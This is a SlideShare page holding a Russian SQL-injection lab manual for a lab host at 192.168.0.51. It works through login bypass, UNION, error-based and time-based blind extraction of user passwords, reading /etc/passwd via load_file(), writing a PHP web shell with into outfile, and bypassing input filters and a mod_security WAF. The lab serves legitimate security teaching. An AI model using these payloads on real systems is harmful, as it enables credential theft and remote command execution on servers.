PT MIFI Labxss
 
Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?
 
Jdbc in java
Jdbc in javaJdbc in java
Jdbc in java
 
Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?Статический анализ кода: Что? Как? Зачем?
Статический анализ кода: Что? Как? Зачем?
 
Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?
 
Производительность в Django
Производительность в DjangoПроизводительность в Django
Производительность в Django
 
Java осень 2013 лекция 8
Java осень 2013 лекция 8Java осень 2013 лекция 8
Java осень 2013 лекция 8
 
Java осень 2014 занятие 5
Java осень 2014 занятие 5Java осень 2014 занятие 5
Java осень 2014 занятие 5
 
Java осень 2012 лекция 8
Java осень 2012 лекция 8Java осень 2012 лекция 8
Java осень 2012 лекция 8
 
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
 
Чуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОПЧуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОП
 
Java 9 - кратко о новом
Java 9 -  кратко о новомJava 9 -  кратко о новом
Java 9 - кратко о новом
 
Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Ошибки, которые сложно заметить на code review, но которые находятся статичес...Ошибки, которые сложно заметить на code review, но которые находятся статичес...
Ошибки, которые сложно заметить на code review, но которые находятся статичес...
 
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
 
Чуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОПЧуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОП
 

Más de Dmitry Evteev

Такой (не)безопасный веб
Такой (не)безопасный вебТакой (не)безопасный веб
Такой (не)безопасный веб
Dmitry Evteev
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это было
Dmitry Evteev
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
Dmitry Evteev
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
Dmitry Evteev
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
Dmitry Evteev
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
Dmitry Evteev
 
Ломаем (и строим) вместе
Ломаем (и строим) вместеЛомаем (и строим) вместе
Ломаем (и строим) вместе
Dmitry Evteev
 

Más de Dmitry Evteev (15)

Такой (не)безопасный веб
Такой (не)безопасный вебТакой (не)безопасный веб
Такой (не)безопасный веб
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это было
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
 
Мобильный офис глазами пентестера
Мобильный офис глазами пентестераМобильный офис глазами пентестера
Мобильный офис глазами пентестера
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
 
Развитие систем анализа защищенности. Взгляд в будущее!
Развитие систем анализа защищенности. Взгляд в будущее!Развитие систем анализа защищенности. Взгляд в будущее!
Развитие систем анализа защищенности. Взгляд в будущее!
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!
 
Ломаем (и строим) вместе
Ломаем (и строим) вместеЛомаем (и строим) вместе
Ломаем (и строим) вместе
 
Ruscrypto CTF 2010 Full Disclosure
Ruscrypto CTF 2010 Full DisclosureRuscrypto CTF 2010 Full Disclosure
Ruscrypto CTF 2010 Full Disclosure
 

PT MIFI Labsql

  • 2. ОГЛАВЛЕНИЕ 1 ЗАДАНИЯ ЛАБОРАТОРНОЙ РАБОТЫ .........................................................................3 1.1 «В НЕДРЕНИЕ ОПЕРАТОРОВ SQL» (SQL I NJECTION ) 3 1.2 «С ЛЕПОЕ ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL» (B LIND SQL I NJECTION ) 5 1.3 Р АБОТА С ФАЙЛОВОЙ СИСТЕМОЙ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 7 1.4 В ЫПОЛНЕНИЕ КОМАНД НА СЕРВЕРЕ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 8 1.5 О БХОД ПРОГРАММНЫХ ФИЛЬТРОВ БЕЗОПАСНОСТИ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 9 1.6 О БХОД W EB A PPLICATION F IREWALL (WAF) ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 11 2 ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ .............................................................................12 2.1 И НСТРУМЕНТЫ ДЛЯ РАБОТЫ С SQL I NJECTION 12 2.2 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 12 Лабораторная работа по теме «Внедрение операторов SQL» Страница 2 из 12
  • 3. 1 Задания лабораторной работы 1.1«Внедрение операторов SQL» (SQL Injection) Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/ 1. Обнаружить a. Зайдите на интерфейс http://192.168.0.51:80/ уязвимость SQL b. Укажите в качестве имени пользователя и пароля 1 Injection c. Вы увидите уведомление об ошибке авторизации. d. В качестве имени пользователя укажите 1' e. В качестве пароля укажите 1 f. Вы должны увидеть следующее сообщение об ошибке: Query failed: You have an error in your SQL syntax 2. Обойти процедуру a. В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1 аутентификации b. Вы должны увидеть следующее сообщение об успешной авторизации: Logged as Administrator c. Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени пользователя и пароля, например: 'or 1=1-- 'or(1)=(1)-- 'or 0x50=0x50-- d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным пользователем системы, что достигается путем эксплуатации уязвимости SQL Injection. 3. Получить список a. Перейдите по ссылке, которая становиться доступной после успешной авторизации в всех таблиц и системе. колонок в b. В качестве параметра «id» в адресной строке браузера введите следующую пространстве СУБД комбинацию: 14+union+select+'mytext' c. Теперь, в качестве параметра «id» в адресной строке браузера введите такую комбинацию: 14+limit+0+union+select+'mytext' d. Как можно заметить, в этом случае на странице отображается текст, который введен между двумя одинарными кавычками. mytext e. На этот раз в качестве параметра «id» в адресной строке браузера введите следующую комбинацию: 14+union+select+'mytext'-- f. Должен быть получен результат, аналогичный предыдущему, но при выполнении этого запроса отобразится вводимый текст между двумя одинарными кавычками Лабораторная работа по теме «Внедрение операторов SQL» Страница 3 из 12
  • 4. Действие Описание совместно с данными из СУБД. test14 mytext g. Попробуйте в качестве параметра «id» в адресной строке браузера ввести следующую комбинацию: 14+OR+1=1-- Вы увидите содержимое всей таблицы. h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос: ?id=14+union+select+concat_ws(0x3a,table_name,column_name) +from+information_schema.columns-- i. Получите все значения из таблицы «users». Запрос должен выглядеть следующим образом: ?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users-- 4. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе пользователем http://192.168.0.51:80/ под пользователем sqladmin. «sqladmin» Лабораторная работа по теме «Внедрение операторов SQL» Страница 4 из 12
  • 5. 1.2«Слепое внедрение операторов SQL» (Blind SQL Injection) Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/ 1. Используя a. Зайдите на интерфейс http://192.168.0.51:81/ одинарную кавычку, b. Перейдите на страницу «/actions.php». найти уязвимость c. Последовательно, подставляя одинарную кавычку во все параметры, передаваемые типа Blind SQL странице методом GET, необходимо обнаружить уязвимость SQL Injection. В Injection данном случае – это Blind SQL Injection. Query failed: You have an error in your SQL syntax d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением операторов SQL», используя методы, изученные на предыдущем занятии. 2. Используя технику с a. В уязвимый параметр введите следующую конструкцию: функцией 1 AND extractvalue(1,concat(0x5C,(select 'mytext')))-- ExtractValue() b. Как можно заметить, на странице отображается текст, который вводится между получить двумя одинарными кавычками. идентификаторы и пароли всех Query failed: XPATH syntax error: 'mytext' пользователей c. Используйте следующий запрос, чтобы получить запись о первой таблице с первой 3. Авторизоваться под колонкой этой таблицы в пространстве СУБД: пользователем 1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name) «blindSQLadmin» from information_schema.columns limit 0,1)))-- d. Используя подобный запрос, становиться возможным последовательно выявить всю доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько быстрее: 1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name) from information_schema.columns where table_schema!='information_schema' limit 0,1)))-- e. Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название таблицы пользователей и колонок в ней. f. Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите пароль пользователя «blindSQLadmin». Опционально, можно получить пароли и других пользователей в этой таблице. g. Авторизуйтесь под пользователем «blindSQLadmin» в интерфейсе http://192.168.0.51:81/. Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue(). Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63) 4. Используя «sleep()», a. Перейдите на страницу «/actions.php». найти уязвимость b. Последовательно подставляя конструкцию «1 and+sleep(10)--» во все параметры, типа Double Blind передаваемые к странице методом GET, можно обнаружить уязвимость Double Blind SQL Injection Лабораторная работа по теме «Внедрение операторов SQL» Страница 5 из 12
  • 6. Действие Описание SQL Injection, помимо уже выявленной «Слепой инъекции». Примечание: Функция sleep() приостанавливает выполнение запроса на N секунд. 5. Используя технику a. В уязвимый параметр подставьте следующие конструкции и сравните результаты их эксплуатации выполнения: уязвимости данного 1 AND if((lower(mid((select 'a'),1,1)))='a',sleep(10),1)-- типа, получить 1 AND if((lower(mid((select 'b'),1,1)))='a',sleep(10),1)-- пароль пользователя «2blindSQLadmin» b. Используя данную технику аналогично методу эксплуатации Blind SQL Injection, можно получить все доступные таблицы и колонки из таблицы «information_schema.columns». Примечание: таблица пользователей для Blind SQL Injection и для Double Blind SQL в данном тестовом задании отличаются на единицу, а имена колонок полностью совпадают. c. Используя технику эксплуатации уязвимости Double Blind SQL Injection, получите пароль пользователя «2blindSQLadmin». Примечание: Пароль пользователя «2blindSQLadmin» представлен в нижнем регистре и содержит одну цифру. 6. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь под пользователем пользователем «2blindSQLadmin» в первом интерфейсе http://192.168.0.51:81/. «2blindSQLadmin» Лабораторная работа по теме «Внедрение операторов SQL» Страница 6 из 12
  • 7. 1.3Работа с файловой системой при эксплуатации уязвимости SQL Injection Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/ 1. Прочитать файл /etc/ a. Зайдите на интерфейс http://192.168.0.51:8080/ passwd b. В параметр «f» подставьте следующую конструкцию: 5 union select load_file('/etc/passwd')-- c. Таким образом, Вы можете читать любой файл в файловой системе, доступ к которым на уровне ACL-файловой системы предоставлен пользователю, от имени которого запущена СУБД. d. Попробуйте прочитать файлы /etc/hosts, /etc/motd и /etc/rc.conf. e. Как вы можете заметить, доступ на чтение к файлам /etc/hosts и /etc/motd предоставлен пользователю MySQL, а доступа к файлу /etc/rc.conf нет. 2. Узнать путь до a. Функция load_file() также позволяет осуществлять листинг каталогов, читая их как корневого каталога файл. web-сервера b. Следующая конструкция позволит получить содержимое корневого каталога сервера: 5 union select load_file('/')-- c. Используйте эту технику, чтобы найти корневой каталог текущего виртуального хоста Web-сервера Apache. Примечание: Относительный путь к каталогу, который требуется найти, «/data3» . 3. Записать a. Используя конструкции «into outfile» или «into dumpfile», становиться возможным произвольную создать файл на сервере с произвольным содержимым (если это не противоречит строку в файл ACL). Вы можете попробовать записать файл в каталог «/tmp», права на запись в ServerDocumentRoot который обычно есть у всех пользователей ОС: tmprandom_name 5 union select 'test' into dumpfile '/tmp/test.txt'-- 5 union select 'test' into outfile '/tmp/test.txt'-- b. По аналогии с приведенными примерами создайте файл с произвольным именем в каталоге «/usr/local/www/apache22/data3/tmp». 4. Прочитать a. Прочитайте созданный Вами файл с использованием функции load_file(). созданный файл Лабораторная работа по теме «Внедрение операторов SQL» Страница 7 из 12
  • 8. 1.4Выполнение команд на сервере при эксплуатации уязвимости SQL Injection Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/ 1. Создать web-shell в a. Зайдите на интерфейс http://192.168.0.51:8080/ каталоге b. Через параметр «f», используя конструкцию «into outfile» или «into dumpfile», ServerDocumentRoot запишите следующую строку: shells <? system($_GET[cmd]); ?> в файл с произвольным именем и расширением «php» в корневой каталог текущего виртуального хоста Web-сервера Apache – «/usr/local/www/apache22/data3/shells/». 2. Воспользоваться a. Обратитесь к созданному файлу по аналогии с приведенным ниже примером: созданным web-shell http://192.168.0.51:8080/shells/<ваш_файл>.php?cmd=ls для выполнения b. Таким образом Вы получили возможность выполнять произвольные команды с команд на сервере правами Web-сервера (пользователя, от имени которого запущен демон Apache). c. Выполните ряд команд, чтобы проверить свои привилегии и получить информацию о сервере. Например: «ls –la /», «id», «ifconfig», «uptime». 3. Используя web-shell, a. Команда «cat» позволит получить содержимое указанного файла в задании. получить содержимое файла /etc/passwd Лабораторная работа по теме «Внедрение операторов SQL» Страница 8 из 12
  • 9. 1.5Обход программных фильтров безопасности при эксплуатации уязвимости SQL Injection Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:8585/ 1. Найти уязвимость a. Зайдите на интерфейс http://192.168.0.51:8585/ типа SQL Injection b. Перейдите на страницу «/actions.php». c. Последовательно подставляя одинарную кавычку во все параметры, передаваемые к странице методом GET, можно обнаружить уязвимость SQL Injection. d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами. Примечание: Запрос должен быть составлен таким образом, чтобы работать в условиях фильтрации. Воспользуйтесь интерфейсом http://192.168.0.51:8585/hex.php для преобразования строк в шестнадцатеричные представления. 2. Используя null-byte a. Во-первых, передаваемые Web-приложению параметры проверяются с в начале запроса, использованием бинарно-зависимой функции ereg(), а, во-вторых, приложение получить все уязвимо к null-byte. Используйте следующий запрос в уязвимом параметре, идентификаторы и передаваемом к Web-приложению: пароли из таблицы 1/*%00*/or+1=1-- пользователей b. Из сообщения об ошибке прослеживается фильтрация поступающих в приложение данных. Так, можно понять, что происходит следующая фильтрация: «--» удаляются из запроса «пробел» заменяется на символ X c. Cформируйте запрос без пробелов: 1/*%00*/or/**/1=1 d. Таким образом, запрос отработал. Попробуйте использовать union: 1/*%00*/order/**/by/**/2/*в запросе возвращается одна колонка*/ 1/*%00*/union/**/select/**/1 e. И снова ошибка. Попробуйте вставить вырезаемую комбинацию «--» в «union» и «select»: 1/*%00*/uni--on/**/se--lect/**/1 f. Как можно заметить, запрос отработал. Теперь можно попробовать выяснить имя требуемой таблицы и колонок в ней, выполнив следующий запрос: 1/*%00*/uni--on/**/se-- lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co lumns/**/where/**/table_schema!='information_schema' g. Фильтруются одинарные кавычки. Можно заменить «information_schema» на его шестнадцатеричный эквивалент «0x696E666F726D6174696F6E5F736368656D61». Запрос примет вид: 1/*%00*/uni--on/**/se-- lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61 Лабораторная работа по теме «Внедрение операторов SQL» Страница 9 из 12
  • 10. Действие Описание h. Запрос отработал. Теперь используйте следующий запрос: 1/*%00*/limit/**/0/**/uni--on/**/se-- lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61 i. Такой запрос в условиях фильтрации данного примера позволяет читать содержимое таблицы «information_schema.columns». Однако воспользоваться конструкцией «limit 0,1» не получиться, т.к. в конце sql-запроса используется «limit 1» и нет возможности в данном случае «обрезать» его. Но существует несколько вариантов решения данной проблемы. Одно из них – отсеивать уже известные данные. Пример: 1/*%00*/limit/**/0/**/uni--on/**/se-- lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/ AND/**/table_name/**/not/**/in(0x616374696F6E73) Для случая выполнения лабораторной работы подобный подход более чем приемлем. Но можно использовать и более простое решение: 1/*%00*/limit/**/0/**/uni--on/**/se-- lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/ limit/**/0,1/**/un--ion/**/sel--ect/**/1 j. Используя указанную технику, получите пароль пользователя sqlHacker. Примечание: Обратите внимание на то, что таблица пользователей расположена в базе данных, отличной от текущей (по умолчанию для сценария). Для идентификации имени базы данных можно использовать данные из «table_schema» таблицы «information_schema.columns». 3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе пользователем http://192.168.0.51:8585/ под пользователем sqlHacker. «sqlHacker» Лабораторная работа по теме «Внедрение операторов SQL» Страница 10 из 12
  • 11. 1.6Обход Web Application Firewall (WAF) при эксплуатации уязвимости SQL Injection Действие Описание Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/ 1. Найти уязвимый a. Зайдите на интерфейс http://192.168.0.51:9191/ сценарий для b. Перейдите по ссылке «actions here». проведения атаки c. Используя одинарную кавычку, убедитесь, что оба параметра в адресной строке методом HPF уязвимы к атаке «Внедрение операторов SQL». d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами. Например, установите в значение любого параметра конструкцию: «1 union select 1» Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security. Примечание: Web-приложение защищено mod_security v.2.5.9. 2. Используя технику a. Используя технику HPF, следующая конструкция будет пропущена WAF: HPF, получить все id=-1+union/*&lang=*/select+1,2,3 идентификаторы и b. Если таким образом попытаться обратиться к таблице пароли из таблицы «information_schema.columns» и колонкам «table_name» или «column_name», то пользователей WAF заблокирует запрос. c. Для того чтобы продвинуться дальше, можно попробовать отыскать наиболее популярные таблицы в текущей базе данных. Например: «logins», «admins», «users». id=-1+union/*&lang=*/select+1,2,3+from+xxx Если будет получен ответ: Query failed: Table 'web5.xxx' doesn't exist то такой таблицы не существует, в противоположном случае и в этом примере таблица с запрашиваемым именем в базе данных имеется. d. После того, как таблица будет найдена, можно воспользоваться новым методом для обнаружения колонок в MySQL >=5.0 (метод Qwazar): Обнаружение первой колонки: id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b)a Колонка «id» обнаружена, исключаем ее: id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id))a и т.д. e. После того, как таблица с колонками будут идентифицированы, используя уже известную Вам технику (п.A), получите пароль пользователя root. Опционально, можно получить пароли и других пользователей в этой таблице. 3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе пользователем http://192.168.0.51:9191/ под пользователем root. «root» Лабораторная работа по теме «Внедрение операторов SQL» Страница 11 из 12
  • 12. 2 Дополнительные материалы 2.1 Инструменты для работы с SQL Injection  sqlmap (http://sqlmap.sourceforge.net/) Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase  sqlus (http://sqlsus.sourceforge.net/) Реализована поддержка только MySQL  bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/ Больше ориентирована под слепые SQL-инъекции. Реализована поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server 2.2Ссылки на дополнительные материалы  WASC: http://projects.webappsec.org/SQL-Injection  OWASP: http://www.owasp.org/index.php/SQL_Injection  Ресурсы Securitylab: http://www.securitylab.ru/  Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle, MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)  Ресурсы Antichat:  MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html  MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127  MSSQL: http://forum.antichat.ru/thread15087.html  ORACLE: http://forum.antichat.ru/showthread.php?t=40576  PostgreSQL: http://forum.antichat.ru/thread35599.html  MSAccess: http://forum.antichat.ru/thread50550.html Лабораторная работа по теме «Внедрение операторов SQL» Страница 12 из 12